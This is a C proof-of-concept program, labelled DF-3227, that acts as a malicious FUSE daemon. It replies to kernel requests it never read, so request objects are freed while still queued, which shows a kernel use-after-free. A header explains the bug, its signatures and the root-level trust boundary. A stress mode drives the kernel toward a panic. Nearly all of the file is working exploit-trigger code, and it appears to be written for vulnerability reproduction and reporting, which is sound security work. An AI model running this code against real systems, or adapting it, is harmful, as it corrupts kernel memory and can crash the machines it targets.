/*
 * DF-3227 — FUSE daemon that replies to a request it never read
 *          ("blind reply"), proving the fip is completed and freed
 *          while it is STILL LINKED on fmp->request_head.
 *
 * Bug recap:
 *   sys/vfs/fuse/fuse_ipc.c:246-287 fuse_ipc_tx():
 *     - inserts fip on BOTH reply_head and request_head (ipc.c:259-260)
 *     - on a daemon WRITE reply, fuse_device_write (fuse_device.c:191-220)
 *       removes fip from reply_head only, assigns fip->reply, sets replied,
 *       wakes the waiter; the waiter (fuse_ipc_tx success path) consumes the
 *       reply and calls fuse_ipc_put() -> refcount 1->0 -> fip FREED
 *       (ipc.c:110-117) — but NOBODY removes fip from request_head.
 *       The kernel assumes "reply implies the daemon first read the request
 *       (fuse_device_read removes it from request_head)".  A daemon that
 *       writes a reply for a request it never read violates that assumption
 *       and the kernel happily frees a still-queued object.
 *     - uniques are sequential (fmp->unique starts at 0, atomic_fetchadd in
 *       fuse_ipc_get), so the daemon can PREDICT every unique after seeing
 *       the first request — no race, fully deterministic.
 *
 * Observable signatures (no race required):
 *   SIG-1: a subsequent read() on /dev/fuse returns 0 bytes — it popped the
 *          freed chunk as TAILQ_FIRST and fuse_in_size() read the
 *          zeroed request.len of the freed fip (fuse_device.c:153-156).
 *          A healthy /dev/fuse read NEVER returns 0 (it blocks until a full
 *          request is available).
 *   SIG-2: read() delivers the SAME request (same unique) more than once —
 *          the freed chunk was recycled as a new fip and the stale queue
 *          head self-links it (TAILQ_INSERT_TAIL through a tqh_last that
 *          points into the chunk being inserted).
 *   SIG-3 (stress): INVARIANTS "Bad link elm" panic in TAILQ_REMOVE /
 *          fuse KKASSERT on the corrupted list.
 *
 * Reachability (same trust boundary as DF-0915/0917/3191): /dev/fuse is
 * 0660 root:operator and fuse_mount() needs caps_priv_check(
 * SYSCAP_NOMOUNT_FUSE) == uid 0 on stock config, so the malicious-daemon
 * scenario is root (or operator + vfs.usermount policy) -> kernel heap.
 *
 * Build:  cc -O2 -Wall -o df3227 df3227.c
 * Run:    (as root) kldload fuse && ./df3227 [mode]
 *           mode 0 = deterministic proof (default): mount, blind-reply the
 *                    in-mount STATFS + N statfs() uniques, interleave reads,
 *                    report SIG-1/SIG-2 counts.
 *           mode 1 = stress: 4 statfs threads + blind replies + reads until
 *                    panic or 120s, then unmount.
 */
#include <sys/param.h>
#include <sys/mount.h>
#include <sys/uio.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <stdarg.h>
#include <sys/wait.h>
#include <time.h>
#include <pthread.h>

#define FUSE_KERNEL_VERSION       7
#define FUSE_KERNEL_MINOR_VERSION 28
#define FUSE_ROOT_ID              1
#define FUSE_STATFS   17
#define FUSE_INIT     26

struct fuse_in_header  { uint32_t len, opcode; uint64_t unique, nodeid; uint32_t uid, gid, pid, padding; };
struct fuse_out_header { uint32_t len; int32_t error; uint64_t unique; };
struct fuse_init_in    { uint32_t major, minor, max_readahead, flags; };
struct fuse_init_out   { uint32_t major, minor, max_readahead, flags; uint16_t max_background, congestion_threshold; uint32_t max_write, time_gran; uint16_t max_pages, padding; uint32_t unused[8]; };
struct fuse_kstatfs    { uint64_t blocks, bfree, bavail, files, ffree; uint32_t bsize, namelen, frsize, padding; uint32_t spare[6]; };
struct fuse_statfs_out { struct fuse_kstatfs st; };
struct fuse_mount_info { int flags; int fd; int max_read; const char *subtype; const char *from; };

#define MNTPT "/mnt/df3227"

static int g_fd = -1;
static FILE *g_log;
static volatile sig_atomic_t g_stop = 0;
static volatile sig_atomic_t g_read_alarm = 0;

/* stats */
static int zero_byte_reads = 0;      /* SIG-1 */
static int dup_unique_reads = 0;     /* SIG-2 */
static int blind_ok = 0, blind_enomsg = 0, blind_eproto = 0;
#define SEEN_MAX 65536
static uint64_t seen_uniques[SEEN_MAX];
static int seen_n = 0;

static void dlog(const char *fmt, ...) {
    va_list ap; va_start(ap, fmt);
    fprintf(g_log, "[%d] ", (int)getpid());
    vfprintf(g_log, fmt, ap);
    va_end(ap);
    fflush(g_log);
}

static double now(void) {
    struct timespec ts; clock_gettime(CLOCK_MONOTONIC, &ts);
    return ts.tv_sec + ts.tv_nsec/1e9;
}

static void on_alarm(int sig) { (void)sig; g_read_alarm = 1; }

static void read_once(void) {
    /* pop whatever the (corrupted) request_head holds, with an alarm guard
     * so a legitimately-empty queue cannot wedge us. */
    uint8_t buf[65536];
    struct fuse_in_header ihd;
    g_read_alarm = 0;
    alarm(3);
    ssize_t n = read(g_fd, buf, sizeof(buf));
    int saved = errno;
    alarm(0);
    if (g_read_alarm) { dlog("read: timed out (queue empty?)\n"); return; }
    if (n < 0) { dlog("read: %s\n", strerror(saved)); return; }
    if (n == 0) {
        zero_byte_reads++;
        dlog("SIG-1 (#%d): read() returned 0 bytes — popped a FREED fip "
             "from request_head (fuse_in_size==0 after fuse_ipc_put)\n",
             zero_byte_reads);
        return;
    }
    if ((size_t)n >= sizeof(ihd)) {
        memcpy(&ihd, buf, sizeof(ihd));
        for (int i = 0; i < seen_n && i < SEEN_MAX; i++) {
            if (seen_uniques[i] == ihd.unique) {
                dup_unique_reads++;
                dlog("SIG-2 (#%d): request unique=%ju delivered AGAIN "
                     "(freed chunk recycled while stale-linked)\n",
                     dup_unique_reads, (uintmax_t)ihd.unique);
                break;
            }
        }
        if (seen_n < SEEN_MAX) seen_uniques[seen_n++] = ihd.unique;
        dlog("read: got request unique=%ju op=%u len=%u\n",
             (uintmax_t)ihd.unique, ihd.opcode, ihd.len);
    }
}

static int write_reply(uint64_t unique, int32_t error,
                       const void *payload, size_t payload_len) {
    size_t actual = sizeof(struct fuse_out_header) + payload_len;
    uint8_t *out = calloc(1, actual);
    struct fuse_out_header *ohd = (struct fuse_out_header *)out;
    ohd->unique = unique; ohd->error = error;
    ohd->len = (uint32_t)actual;
    if (payload && payload_len) memcpy(out + sizeof(*ohd), payload, payload_len);
    ssize_t w = write(g_fd, out, actual);
    free(out);
    if (w < 0) {
        if (errno == ENOMSG) return -1;      /* not queued yet (or gone) */
        blind_eproto++;
        dlog("reply unique=%ju: unexpected error %s\n",
             (uintmax_t)unique, strerror(errno));
        return -2;
    }
    return 0;
}

static void statfs_payload(struct fuse_statfs_out *so) {
    memset(so, 0, sizeof(*so));
    so->st.blocks = 1 << 16; so->st.bfree = 1 << 15; so->st.bavail = 1 << 15;
    so->st.files = 4096;     so->st.ffree = 4000;
    so->st.bsize = 4096;     so->st.namelen = 255; so->st.frsize = 4096;
}

/* Blind-reply unique #u, retrying until the kernel has queued it. */
static int blind_reply(uint64_t u, int retries) {
    struct fuse_statfs_out so; statfs_payload(&so);
    for (int i = 0; i < retries; i++) {
        int rc = write_reply(u, 0, &so, sizeof(so));
        if (rc == 0) { blind_ok++; return 0; }
        if (rc == -2) return -1;
        usleep(500);
    }
    blind_enomsg++;
    return -1;
}

static void daemon_mode0(void) {
    uint8_t buf[65536];
    struct fuse_in_header ihd;
    ssize_t n;

    /* 1. FUSE_INIT (unique 0): read + reply normally. */
    n = read(g_fd, buf, sizeof(buf));
    if (n <= 0) { dlog("INIT read failed: %s\n", strerror(errno)); return; }
    memcpy(&ihd, buf, sizeof(ihd));
    dlog("INIT unique=%ju op=%u — replying normally\n",
         (uintmax_t)ihd.unique, ihd.opcode);
    struct fuse_init_out io; memset(&io, 0, sizeof(io));
    io.major = FUSE_KERNEL_VERSION; io.minor = FUSE_KERNEL_MINOR_VERSION;
    io.max_readahead = 4096; io.max_write = 1 << 20; io.max_pages = 256;
    if (write_reply(ihd.unique, 0, &io, sizeof(io)) != 0)
        { dlog("INIT reply failed\n"); return; }

    /* 2. BLIND-reply unique 1 = the FUSE_STATFS issued INSIDE fuse_mount()
     *    (fuse_vfsops.c:238 VFS_STATFS) without ever reading it.
     *    -> when mount(2) returns, that fip has been completed AND freed
     *       while still linked at the head of request_head. */
    dlog("BLIND-replying unique=1 (in-mount FUSE_STATFS) — never reading it\n");
    if (blind_reply(1, 4000 /* up to ~2s for the kernel to queue it */) != 0)
        { dlog("blind reply u1 never landed\n"); return; }
    dlog("blind reply u1 accepted; the statfs fip is now freed-while-linked\n");

    /* 3. Child is now free to statfs() in a loop; every iteration queues a
     *    new FUSE_STATFS with a predictable unique. Blind-reply each, and
     *    interleave reads to expose the corrupted queue. */
    for (uint64_t u = 2; u < 2 + 40 && !g_stop; u++) {
        if (blind_reply(u, 8000) != 0) { dlog("blind u%ju gave up\n", (uintmax_t)u); break; }
        dlog("blind u%ju ok (freed-while-linked #%d)\n", (uintmax_t)u, blind_ok);
        if (u % 2 == 0) read_once();   /* pop the stale head */
    }
    /* a few final reads */
    for (int i = 0; i < 4; i++) read_once();

    dlog("== mode0 summary: blind_ok=%d enomsg=%d eproto=%d "
         "SIG1_zero_byte_reads=%d SIG2_dup_uniques=%d ==\n",
         blind_ok, blind_enomsg, blind_eproto, zero_byte_reads, dup_unique_reads);
}

static void daemon_mode1(int seconds) {
    uint8_t buf[65536];
    struct fuse_in_header ihd;
    ssize_t n = read(g_fd, buf, sizeof(buf));
    if (n <= 0) return;
    memcpy(&ihd, buf, sizeof(ihd));
    struct fuse_init_out io; memset(&io, 0, sizeof(io));
    io.major = FUSE_KERNEL_VERSION; io.minor = FUSE_KERNEL_MINOR_VERSION;
    io.max_readahead = 4096; io.max_write = 1 << 20; io.max_pages = 256;
    write_reply(ihd.unique, 0, &io, sizeof(io));
    blind_reply(1, 4000);

    double t_end = now() + seconds;
    for (uint64_t u = 2; now() < t_end && !g_stop; u++) {
        if (blind_reply(u, 20000) != 0) break;
        if ((u & 3) == 0) read_once();
    }
    dlog("== mode1 summary: blind_ok=%d SIG1=%d SIG2=%d ==\n",
         blind_ok, zero_byte_reads, dup_unique_reads);
}

static void *statfs_thr(void *arg) {
    (void)arg;
    while (!g_stop) {
        struct statfs st;
        statfs(MNTPT, &st);
    }
    return NULL;
}

static int child_mode(int mode) {
    struct fuse_mount_info args; memset(&args, 0, sizeof(args));
    args.fd = g_fd; args.from = "/dev/fuse"; args.max_read = 1 << 20;
    mkdir(MNTPT, 0755);
    if (mount("fuse", MNTPT, 0, &args) < 0) {
        dlog("child: mount: %s\n", strerror(errno)); return 1;
    }
    dlog("child: mount ok (the in-mount statfs fip was completed by a blind "
         "reply and freed while linked)\n");
    if (mode == 0) {
        for (int i = 0; i < 60 && !g_stop; i++) {
            struct statfs st;
            int rc = statfs(MNTPT, &st);
            dlog("child: statfs[%d] rc=%d\n", i, rc);
            usleep(20000);
        }
        sleep(3);
    } else {
        pthread_t th[4];
        for (int i = 0; i < 4; i++) pthread_create(&th[i], NULL, statfs_thr, NULL);
        sleep(150);
        g_stop = 1;
        for (int i = 0; i < 4; i++) pthread_join(th[i], NULL);
        unmount(MNTPT, 0);
        dlog("child: unmount rc=%d (%s)\n", errno, strerror(errno));
    }
    return 0;
}

int main(int argc, char **argv) {
    int mode = (argc > 1) ? atoi(argv[1]) : 0;
    g_log = fopen(mode ? "/tmp/df3227_stress.log" : "/tmp/df3227.log", "w");
    if (!g_log) g_log = stderr;
    setvbuf(g_log, NULL, _IOLBF, 0);
    signal(SIGPIPE, SIG_IGN);
    signal(SIGALRM, on_alarm);

    g_fd = open("/dev/fuse", O_RDWR);
    if (g_fd < 0) { dlog("open /dev/fuse: %s (need root+operator)\n", strerror(errno)); return 2; }

    pid_t pid = fork();
    if (pid < 0) return 3;
    if (pid == 0) _exit(child_mode(mode));

    if (mode == 0) daemon_mode0();
    else daemon_mode1(150);

    int st = 0; waitpid(pid, &st, 0);
    dlog("parent: child status=%d\n", st);
    int hit = (zero_byte_reads > 0 || dup_unique_reads > 0);
    dlog("VERDICT: %s\n", hit ?
         "REPRODUCED — request_head yielded freed/recycled fips (SIG1/SIG2)"
         : "no smoking gun this run");
    fprintf(stderr, "SIG1=%d SIG2=%d blind_ok=%d\n",
            zero_byte_reads, dup_unique_reads, blind_ok);
    close(g_fd); fclose(g_log);
    return hit ? 0 : 1;
}
